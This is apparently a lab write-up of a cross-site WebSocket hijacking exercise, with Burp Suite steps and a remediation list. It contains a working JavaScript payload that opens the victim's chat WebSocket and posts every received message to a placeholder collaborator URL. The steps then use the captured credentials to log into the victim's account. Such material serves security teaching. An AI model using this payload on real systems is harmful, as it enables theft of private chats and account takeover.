SCENARIO

The application has an aggressive but flawed XSS filter in the live chat functionality. We will try to exploit the vulnerability to exfiltrate the victim's chat history, then use this gain access to their account.

# PROCEDURE

1. Go to live chat option and send a chat message then reload the page.
2. Start BurpSuite’s Interceptor.
3. In Burp Proxy, in the HTTP history tab, find the WebSocket handshake request. Observe that the request has no CSRF tokens, so Copy the URL.
4. Go to the exploit server and paste the Payload 1 into the body of the exploit.
5. Click the View Exploit button and then open the BurpSuite’s Collaborator Client and click on Poll Now, we notice that we get a lot of requests.
6. Now closely observe only the HTTP requests and leave rest of them to look for the username and password of the target account.
7. So, log in with the credentials in order to solve the lab.

# PAYLOAD

1. <script>

var ws = new WebSocket('wss://your-websocket-url');

ws.onopen = function() {

ws.send("READY");

};

ws.onmessage = function(event) {

fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});

};

</script>

# REMEDIATION

1. **Input Validation and Encoding:** Implement stringent input validation and encoding for all data exchanged via the live chat function. Sanitize all inputs to prevent any malicious scripts from being executed.
2. **Token Authentication:** Add token authentication to WebSocket handshake requests to prevent CSRF attacks.
3. **Validate Origin Header:** Ensure that the Origin header in the WebSocket handshake matches expected values. This can help prevent unauthorized cross-site WebSocket connections.
4. **Session Management:** Use secure WebSocket session management practices. When a session is terminated, ensure that it cannot be reused.
5. **Logging and Monitoring:** Monitor WebSocket connections and interactions for suspicious patterns. If any malicious activity is detected, log it, and alert administrators.
6. **Implement WAF:** Use a Web Application Firewall (WAF) to inspect WebSocket traffic. Although traditional WAFs are primarily designed for HTTP traffic, many modern WAFs support WebSocket inspection.